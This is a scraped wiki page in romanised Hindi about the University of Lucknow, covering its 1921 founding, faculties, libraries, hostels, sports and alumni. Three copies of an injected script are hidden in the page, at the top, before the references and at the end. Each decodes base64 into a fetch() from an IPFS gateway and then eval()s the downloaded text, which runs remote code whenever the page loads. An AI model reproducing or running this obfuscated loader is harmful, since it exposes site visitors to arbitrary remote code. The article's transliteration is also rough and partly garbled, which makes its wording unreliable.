लखनऊ विश्वविद्यालय

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|250px|lakhanoo vishvavidyalay lakhanoo vishvavidyalay (aangrezi: University of Lucknow) bharat ke pramukh shaikshik-sansthanoan mean se ek hai. yah vishvavidyalay uttar pradesh ki rajadhani lakhanoo ke samriddh itihas ko to pradarshit karata hi hai nagar ke pramukh darshaniy sthaloan mean se bhi ek hai. isaka prachin bhavan madhyakalin bharatiy sthapaty ka suandar udaharan hai. isamean padhane aur padhane vale anek shikshak aur vidyarthi bharat aur videsh mean prasiddhi prapt kar chuke haian.

sthapana aur itihas

lakhanoo vishvavidyalay ki sthapana 18 march 1921 ko lakhanoo mean gomati ke tat par huee thi. sthapana mean tatkalin sanyukt prant ke uparajyapal 'sar harakort batalar' tatha avadh ke talukedaroan ka vishesh yogadan raha. isase poorv avadh ke talukedaroan ne lard kainiang ki smriti mean 27 pharavari 1864 ko lakhanoo mean kainiang kalej ke nam se ek vidyalay sthapit karane ke lie panjikaran karaya. 1 mee 1864 ko kainiang kalej ka aupacharik udghatan aminuddaula pailes mean hua. prarambh mean 1867 tak kainiang kalej kalakatta vishvavidyalay se sambaddh kiya gaya tha. tatpashchath 1888 mean ise ilahabad vishvavidyalay se sambaddh kiya gaya. san 1905 mean pradesh sarakar ne gomati ki uttar disha me lagabhag 90 ek d ka bhookhand kalej ko sthanaantarit kiya, jise badashahabag ke nam se jana jata hai. moolaroop se yah avadh ke navab nasirooddin haidar ka nivas sthan tha.

isi kainiang kalej ke parisar mean 'saidalar ayog' ke dvara lakhanoo mean ek avasiy aur adhyapan vishvavidyalay kholane ke prastav ko tatkalin sanyukt rajy ke up- rajyapal- sar harakort batalar, mahamoodabad ke raja muhammad ali khan adi ke prayasoan se 7 agast 1920 ko ilahabad vishvavidyalay ki sinet ne ativishisht baithak mean apani sahamati pradan ki. sahamati ke do mahinoan bat 8 aktoobar 1920 ko vidhan parishad ne lakhanoo vishvavidyalay ki sthapana sanbadhi vidheyak parit kiya, jise 1 navambar 1920 ko uparajyapal aur 25 navambar 1920 ko gavarnar janaral ki manjoori mili. is samay lakhanoo vishvavidyalay mean kala, prachyavidya, vijnan, chikitsa, vidhi aur vanijy sankay sanchalit the. kainiang k aaulej, kiangajarj medikal k aaulej aur eesabela th aaubarn k aaulej kendr mean the. mananiy shri jnanendr nath chakravarti lakhanoo vishvavidyalay ke pratham kulapati, mejar ti. eph. o. d aaunel pratham kul sachiv aur shri ee. e. ech. blant pratham koshadhyaksh niyukt hue. vishvavidyalay kort ki pahali baithak 21 march 1921 ko huee. agast se sitambar 1921 ke madhy kary parishad (ekjyooketiv kaooansil) tatha akadamik parishad ka gathan kiya gaya. san 1922 mean pahala dikshant samaroh ayojit kiya gaya. tab se lekar aj tak lakhanoo vishvavidyalay uttarottar unnati path par agrasar hai. san 1991 se lakhanoo vishvavidyalay ka dvitiy parisar 75 ek d bhoomi par sitapur rod par prarambh hua, jahaan vartaman mean vidhi tatha prabandhan ki kakshaean sanchalit hoti haian.[1]

vibhag

lakhanoo vishvavidyalay mean kala, vijnan, vanijy, shiksha, lalit kala, vidhi aur ayurved sat sankayoan se sambaddh, 51 vibhag haian. in sankayoan me lagabhag 196 pathyakram sanchalit hai, jisamean 70 se adhik vyavasayik pathyakram svavittaposhit yojana mean sanchalit haian. yahaan vartaman mean 38,000 ke lagabhag chhatr shiksha prapt kar rahe haian. samprati 72 mahavidyalay, vishvavidyalay se sambaddh haian. jahaan snatak star par shiksha pradan ki jati hai. kuchh mahavidyalayoan ko parasnatak kakshayean chalane ki bhi anumati prapt hai. yahaan shiksha prapt karane vale chhatroan ki sankhya lagabhag 80,000 hai. lakhanoo vishvavidyalay parisar mean shodh ki uchchastariy suvidhaean upalabdh haian.[1]

kendriy pustakalay

shikshakoan, shodharthiyoan evan samany chhatroan ke lie vibhinn vibhagiy pustakalayoan ke atirikt do kendriy pustakalay haian- koaauparetiv laindiang laibreri aur taigor pustakalay. taigor pustakalay bharat ke pratishthit pustakalayoan mean se ek mana jata hai. yahaan lagabhag 5.25 lakh pustakean tatha 10,000 shodh granth upalabdh haian. pustakalay mean lagabhag 50,000 shodh patrikaean aur pandulipiyaan upalabdh haian. yah pustakalay lakhanoo vishvavidyalay ki vebasaeet ke dvara bhali-bhaanti ju dakar kampyootararikrit ho raha hai.[1]

chhatravas

vishvavidyalay mean shikshakoan, karmachariyoan ke lie avas ke sath-sath chhatroan ke lie 14 chhatravas haian. 9 chhatroan ke lie tatha 5 chhatraoan ke lie haian. 1 antarrashtriy chhatravas purane parisar mean achary narendradev ki smriti mean hai tatha 1 antarratriy chhatravas videshi chhatroan ke lie ne parisar mean bhi haian. isake atirikt nagar mean isase sanbaddh 15 mahavidyalay bhi haian.

suvidhaean

khila diyoan ko khelakood ki suvidha pradan karane ke lie lakhanoo vishvavidyalay etheletik eshosieshan ka gathan kiya gaya hai. isake antargat ethaletik, h aauki, phutab aaul, kriket, basketab aaul, balib aaul, tairaki evan naukayan, jimanastik, kabaddi adi klab haian, jo chhatroan ki khel pratibha ko badhane ka kary karate haian. khelakood mean bhi vishvavidyalay ke chhatroan ka rashtriy tatha antarashtriy star par pratinidhitv raha hai. mahanh h aauki khila di baboo ke. di. sianh baboo olampik se lekar vartaman kriket khila di - suresh raina aur ar. pi. sianh yahaan ke vidyarthi rahe haian.

saanskritik karyakram

chhatroan ke sarvaangin vikas ke lie neshanal kaided kor ki thal, jal, vayu kaman tatha rashtriy seva yojana ki shakhayean bhi vishvavidyalay mean haian. isake atirikt lakhanoo vishvavidyalay saanskritik samiti dvara saanskritik karyakramoan ka ayojan samay-samay par kiya jata hai. vishvavidyalay anudan ayog dvara shikshakoan ko prashikshit karane evan navinatam janakari upalabdh karane ke lie 1988 mean akadamik st aauph k aaulej ki parisar mean sthapana ki gee. lakhanoo vishvavidyalay ke chhatroan ne antarrashtriy-rashtriy star par khyati arjit ki hai. bharat ke utkrisht puraskaroan mean se 2 padm vibhooshan, 4 padmabhooshan, evan 18 padmashri puraskaroan ke sath-sath bi. si. ray aur shantisvaroop bhatnagar puraskar bhi yahaan ke chhatroan ne prapt kiye haian. lokapriy chalachitr (film) 'oankara’, rajapal yadav aur rituparna senagupta abhinit ‘maian, meri patni aur vo’ evan pankaj kapoor ki film ‘kahaan kahaan se gujar gaya’ ki shootiang ke lie is vishvavidyalay ke parisar ka upayog kiya gaya hai.[1]

prasiddh vyakti

bharat ke poorv rashtrapati d aau shankar dayal sharma, yojana ayog ke poorv akshyaksh- shri ke. si. pant, poorv mukhy nyayadhish-shri e. es. anand, poorv rajyapal - shri surajit sianh baranala (tamilanadu), shri saiyad sibte raji (jharakhand) ke atirikt anek patrakar, sahityakar, vaijnanik, kalakar, chikitsak evan prashasanik adhikari yahaan ke chhatr rahe hai. garv ka vishay hai ki pro. ti. en. majoomadar, pro. di. pi. mukharji, pro. kaimar aaun, pro. birabal sahani, pro. radhakamal mukharji, pro. radhakumud mukhaji, pro. siddhant, achary narendr dev,pro. kali prasad, d aau. pitambar datt b dathval, pro. sooryaprasad dikshit, ramesh kuntal megh, pro. shankaralal yadav adi vidvanoan ne apane jnan ke alok se lakhanoo vishvavidyalay ko prakashit kiya hai. vishvavidyalay mean samay-samay par anek antarrashtriy-rashtriy sangoshthiy aau ayojit ki jati haian. sanh 2002 mean rashtriy vijnan kaangres ka ayojan bhi ek vishesh upalabdhi hai jisamean bharat ratn se vibhooshit, bharat ke rashtrapati mahamahim shri e.pi.je. abdul kalam, pradhanamantri shri atal bihari vajapeyi, rajyapal - shri vishnukant shastri ke sath anek antarrashtriy khyatilabdh vaijnaniko ne sahabhagita ki thi. samprati, lakhanoo vishvavidyalay ko vishvavidyalay anudan ayog ki kameti ne sarvaangin kshetroan mean gunavatta ke lie 'phor star' pradan kiye haian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. 1.0 1.1 1.2 1.3 lakhanoo vishvavidyalay: ek parichay (hiandi) (ech.ti.em.el) hiandi tatha adhunik bharatiy bhasha, lakhanoo vishvavidyalay. abhigaman tithi: 4 disambar, 2012.

bahari k diyaan

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>